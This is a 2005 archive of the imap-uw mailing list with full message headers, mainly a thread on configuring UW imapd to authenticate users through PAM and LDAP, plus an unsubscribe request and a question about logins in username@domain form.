-0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955D8pL010984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 4 Oct 2005 22:13:10 -0700 Date: Tue, 4 Oct 2005 22:13:08 -0700 (PDT) From: Mark Crispin To: Jean-Luc Wasmer Subject: Re: [imap-uw] Re: [Imap-uw] Authentication with PAM In-Reply-To: <43435F58.1010500@lists.wasmer.ca> Message-ID: References: <4343012F.70904@lists.wasmer.ca> <43435F58.1010500@lists.wasmer.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 5 Oct 2005, Jean-Luc Wasmer wrote: >> Is the user defined in /etc/passwd? > no but I have nss_ldap which works fine. The user must be defined in /etc/passwd. Each user must have a UNIX UID assigned. > Do I need a special switch to enable PAM when I build the software? It depends upon what command you used to build the software. Some builds, such as "make lnp", "make lrh", automatically build with PAM. Which build command did you use? -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 00:12:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 00:12:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j957Cl80015792 for ; Wed, 5 Oct 2005 00:12:48 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j957ClUa031809 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 00:12:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j957CkjY028747; Wed, 5 Oct 2005 00:12:46 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j957CkRn027353; Wed, 5 Oct 2005 00:12:46 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j957Cj4N027345 for ; Wed, 5 Oct 2005 00:12:45 -0700 Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with SMTP id j957ChAI021997 for ; Wed, 5 Oct 2005 00:12:44 -0700 Received: (qmail invoked by alias); 05 Oct 2005 07:12:43 -0000 Received: from p54A94513.dip.t-dialin.net (EHLO involved.local) [84.169.69.19] by mail.gmx.net (mp029) with SMTP; 05 Oct 2005 09:12:43 +0200 X-Authenticated: #537890 From: Sven Carstens To: imap-uw@u.washington.edu Subject: Re: [imap-uw] Re: [Imap-uw] Authentication with PAM Date: Wed, 5 Oct 2005 09:12:37 +0200 User-Agent: KMail/1.8.2 References: <4343012F.70904@lists.wasmer.ca> <43435F58.1010500@lists.wasmer.ca> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200510050912.37887.s.carstens@gmx.de> X-Y-GMX-Trusted: 0 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Am Mittwoch, 5. Oktober 2005 07:13 schrieb Mark Crispin: > On Wed, 5 Oct 2005, Jean-Luc Wasmer wrote: > >> Is the user defined in /etc/passwd? > > > > no but I have nss_ldap which works fine. > > The user must be defined in /etc/passwd. Each user must have a UNIX UID > assigned. I suppose imapd isn't reading the /etc/passwd file directly, but using the appropriate functions to access it. At least it does on all out different SuSE systems. The nss_ldap enables all applications to see the ldap users. 'getent passwd' should show all users. Here everything works fine on SuSE 9.0 which still is based on 2002d. /etc/pam.d/imap ----------------------------------------------------- #%PAM-1.0 auth required pam_unix2.so account required pam_unix2.so ----------------------------------------------------- /etc/security/pam_unix2.conf ----------------------------------------------------- auth: use_ldap nullok account: use_ldap password: use_ldap nullok session: none ----------------------------------------------------- /etc/nsswitch.conf ----------------------------------------------------- passwd: compat ldap group: compat ldap ----------------------------------------------------- So the passwd and group databases are populated from the ldap server. Passwords are checked via the pam_unix2.so module against the ldap password. Users in the ldap database are only able to login via pam aware applications. CU Sven _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 01:04:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 01:04:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95848E7019653 for ; Wed, 5 Oct 2005 01:04:08 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j958475d007030 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 01:04:07 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95847B8031067; Wed, 5 Oct 2005 01:04:07 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95847H1030717; Wed, 5 Oct 2005 01:04:07 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j958454q030709 for ; Wed, 5 Oct 2005 01:04:05 -0700 Received: from mail.i3micro.net (greyhound.i3micro.com [217.78.42.12]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with SMTP id j958445G028232 for ; Wed, 5 Oct 2005 01:04:05 -0700 Received: (qmail 4376 invoked by uid 89); 5 Oct 2005 08:04:03 -0000 Received: by simscan 1.1.0 ppid: 4371, pid: 4373, t: 0.0151s scanners: attach: 1.1.0 clamav: 0.86.2/m:34/d:1110 Received: from pitbull.i3micro.com (HELO ?10.0.0.230?) (217.78.42.11) by mail.i3micro.net with SMTP; 5 Oct 2005 08:04:03 -0000 Message-ID: <434388F3.8050602@i3micro.com> Date: Wed, 05 Oct 2005 10:04:03 +0200 From: Niklas Fondberg Organization: i3 micro technology User-Agent: Mozilla Thunderbird 0.9 (X11/20050330) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu X-Enigmail-Version: 0.86.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] How do I unsubscribe? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu How do I unsubscribe? _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 07:21:11 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 07:21:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95ELBNx007981 for ; Wed, 5 Oct 2005 07:21:11 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95ELAtB026598 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 07:21:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95ELAvd012192; Wed, 5 Oct 2005 07:21:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95ELARt011894; Wed, 5 Oct 2005 07:21:10 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EL93C011886 for ; Wed, 5 Oct 2005 07:21:09 -0700 Received: from oggy.wasmer.ca (oggy.wasmer.ca [69.90.80.201]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EL6K0007953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 5 Oct 2005 07:21:07 -0700 Received: from [192.168.1.176] (toronto-HSE-ppp4120397.sympatico.ca [70.50.240.203]) (authenticated bits=0) by oggy.wasmer.ca (8.13.4/8.12.9) with ESMTP id j95EL5KE020300 for ; Wed, 5 Oct 2005 10:21:06 -0400 (EDT) Message-ID: <4343E14B.8090107@lists.wasmer.ca> Date: Wed, 05 Oct 2005 10:20:59 -0400 From: Jean-Luc Wasmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050923 Thunderbird/1.0.7 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: imap-uw@u.washington.edu References: <4343012F.70904@lists.wasmer.ca> <43435F58.1010500@lists.wasmer.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Re: Authentication with PAM X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: >> no but I have nss_ldap which works fine. > > The user must be defined in /etc/passwd. Each user must have a UNIX > UID assigned. As Sven said, if Imap uses getpwnam or any of the standard Posix password database access function, nsswitch and nss_ldap will return the users from the LDAP. 'getent passwd' shows all my local and ldap users. >> Do I need a special switch to enable PAM when I build the software? > > > It depends upon what command you used to build the software. Some > builds, such as "make lnp", "make lrh", automatically build with PAM. > Which build command did you use? I use pkgsrc and it doesn't provide any switch for PAM. I edited imap-2004e/src/osdep/unix/Makefile to replace 'PASSWDTYPE=std' by 'PASSWDTYPE=pam'. Looking at pkgsrc's makefile (http://cvsweb.netbsd.org/bsdweb.cgi/pkgsrc/mail/imap-uw/Makefile?rev=1.100&content-type=text/x-cvsweb-markup) I would say imap-uw is built with: neb EXTRAAUTHENTICATORS="gss" SPECIALAUTHENTICATORS="ssl" SSLTYPE="unix" I've just noticed imap-2004e/Makefile also defines the PASSWDTYPE variable. Maybe I should change that one too? I there a way to see that is supported? Imapd greets me with: OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] Jean-Luc _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 07:55:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 07:55:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95Et27d009766 for ; Wed, 5 Oct 2005 07:55:02 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95Et1v3028429 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 07:55:01 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95Et1ov014394; Wed, 5 Oct 2005 07:55:01 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95Et17u015735; Wed, 5 Oct 2005 07:55:01 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EsxHb015718 for ; Wed, 5 Oct 2005 07:54:59 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EsxQS027861 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 5 Oct 2005 07:54:59 -0700 Received: from homer21.u.washington.edu (homer21.u.washington.edu [140.142.12.133]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95Eswmh028677 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 07:54:58 -0700 Received: from localhost (hugh@localhost) by homer21.u.washington.edu (8.13.4+UW05.04/8.13.4+Submit) with ESMTP id j95Esw5o006786; Wed, 5 Oct 2005 07:54:58 -0700 Date: Wed, 5 Oct 2005 07:54:58 -0700 (PDT) From: Hugh Sheets To: Niklas Fondberg Subject: Re: [Imap-uw] How do I unsubscribe? In-Reply-To: <434388F3.8050602@i3micro.com> Message-ID: References: <434388F3.8050602@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 5 Oct 2005, Niklas Fondberg wrote: > How do I unsubscribe? > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > The imap-uw list subscription management information is available at: http://www.washington.edu/imap/lists/imap-uw.html Hugh Sheets Manager, Messaging Solutions IT Infrastructure Distributed Systems University of Washington _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 07:58:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 07:58:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EwMW9010036 for ; Wed, 5 Oct 2005 07:58:22 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EwLq2028786 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 07:58:21 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EwLCt014877; Wed, 5 Oct 2005 07:58:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EwLAn016514; Wed, 5 Oct 2005 07:58:21 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95EwKci016506 for ; Wed, 5 Oct 2005 07:58:20 -0700 Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with SMTP id j95EwILB009021 for ; Wed, 5 Oct 2005 07:58:19 -0700 Received: (qmail invoked by alias); 05 Oct 2005 14:58:18 -0000 Received: from p54A94513.dip.t-dialin.net (EHLO involved.local) [84.169.69.19] by mail.gmx.net (mp017) with SMTP; 05 Oct 2005 16:58:18 +0200 X-Authenticated: #537890 From: Sven Carstens To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Re: Authentication with PAM Date: Wed, 5 Oct 2005 16:58:13 +0200 User-Agent: KMail/1.8.2 References: <4343012F.70904@lists.wasmer.ca> <4343E14B.8090107@lists.wasmer.ca> In-Reply-To: <4343E14B.8090107@lists.wasmer.ca> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200510051658.13835.s.carstens@gmx.de> X-Y-GMX-Trusted: 0 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Am Mittwoch, 5. Oktober 2005 16:20 schrieb Jean-Luc Wasmer: > I've just noticed imap-2004e/Makefile also defines the PASSWDTYPE variable. > Maybe I should change that one too? > I there a way to see that is supported? Imapd greets me with: > OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS > AUTH=LOGIN] I can see that my imapd is build with imap support by using the ldd command: deepthought:/usr/sbin # ldd imapd libpam.so.0 => /lib/libpam.so.0 (0x40025000) libdl.so.2 => /lib/libdl.so.2 (0x4002d000) libssl.so.0.9.7 => /usr/lib/libssl.so.0.9.7 (0x40030000) libcrypto.so.0.9.7 => /usr/lib/libcrypto.so.0.9.7 (0x40060000) libc.so.6 => /lib/i686/libc.so.6 (0x40152000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) So it is linked against pam and I suppose it won't be linked if it doesn't use it. CU Sven _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 08:21:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 08:21:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95FLZDQ011511 for ; Wed, 5 Oct 2005 08:21:35 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95FLYkX030364 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 08:21:34 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95FLYlM018802; Wed, 5 Oct 2005 08:21:34 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95FLYsn026503; Wed, 5 Oct 2005 08:21:34 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95FLWeH026495 for ; Wed, 5 Oct 2005 08:21:32 -0700 Received: from oggy.wasmer.ca (oggy.wasmer.ca [69.90.80.201]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95FLVCD012319 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 5 Oct 2005 08:21:32 -0700 Received: from [192.168.1.176] (toronto-HSE-ppp4120397.sympatico.ca [70.50.240.203]) (authenticated bits=0) by oggy.wasmer.ca (8.13.4/8.12.9) with ESMTP id j95FLUkb015438 for ; Wed, 5 Oct 2005 11:21:31 -0400 (EDT) Message-ID: <4343EF75.6080007@lists.wasmer.ca> Date: Wed, 05 Oct 2005 11:21:25 -0400 From: Jean-Luc Wasmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050923 Thunderbird/1.0.7 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Re: Authentication with PAM References: <4343012F.70904@lists.wasmer.ca> <4343E14B.8090107@lists.wasmer.ca> <200510051658.13835.s.carstens@gmx.de> In-Reply-To: <200510051658.13835.s.carstens@gmx.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Sven Carstens wrote: >Am Mittwoch, 5. Oktober 2005 16:20 schrieb Jean-Luc Wasmer: > > >>I there a way to see that is supported? Imapd greets me with: >>OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS >>AUTH=LOGIN] >> >> > >I can see that my imapd is build with imap support by using the ldd command: > > Right... let's see what it tells me: ldd /usr/pkg/libexec/imapd /usr/pkg/libexec/imapd: -lcrypt.0 => /usr/lib/libcrypt.so.0 -lgssapi.5 => /usr/lib/libgssapi.so.5 -lcrypto.2 => /usr/lib/libcrypto.so.2 -lasn1.6 => /usr/lib/libasn1.so.6 -lcom_err.4 => /usr/lib/libcom_err.so.4 -lroken.12 => /usr/lib/libroken.so.12 -lkrb5.19 => /usr/lib/libkrb5.so.19 -lssl.3 => /usr/lib/libssl.so.3 -lc-client.4 => /usr/pkg/lib/libc-client.so.4 -lc.12 => /usr/lib/libc.so.12 No PAM here :-( Well, I guess I'll have to play with the makefiles. Jean-Luc _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 11:03:09 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 11:03:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95I37RX022421 for ; Wed, 5 Oct 2005 11:03:08 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95I36N3010108 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 11:03:06 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95I36jR006567; Wed, 5 Oct 2005 11:03:06 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95I36iq001800; Wed, 5 Oct 2005 11:03:06 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95I34Yq001792 for ; Wed, 5 Oct 2005 11:03:04 -0700 Received: from dubois-king.com (mail.dubois-king.com [64.30.45.8]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95I338x021847 for ; Wed, 5 Oct 2005 11:03:04 -0700 Received: from y1cnu ([192.168.0.45]) by dubois-king.com (8.11.6/8.11.6) with ESMTP id j95I31n20891 for ; Wed, 5 Oct 2005 14:03:02 -0400 From: "Patricia Palumbo" To: imap-uw@u.washington.edu Date: Wed, 05 Oct 2005 14:03:02 -0400 MIME-Version: 1.0 Message-ID: <4343DD16.8737.12C05C0@localhost> Priority: normal X-mailer: Pegasus Mail for Windows (4.21c) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] modify ipop3d login X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, We find ourselves in need of changing how our users log in to the mail server. We need to use the format username@domain instead of just the username. Could anyone give me a point to a possible hack where we could accomplish this. Even if the @domain could be stripped off somehow... I would certainly appreciate any ideas to begin with. We are currently running: IMAP4rev1 v12.264 ipp3d v7.64 sendmail-8.11.6-1.62.2 sendmail-cf-8.11.6-1.62.2 Red Hat Linux release 6.1 (Cartman) kernel 2.2.12-32smp glibc-2.1.2-11 Thanks very much, Patricia --- Patricia J. Palumbo _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu 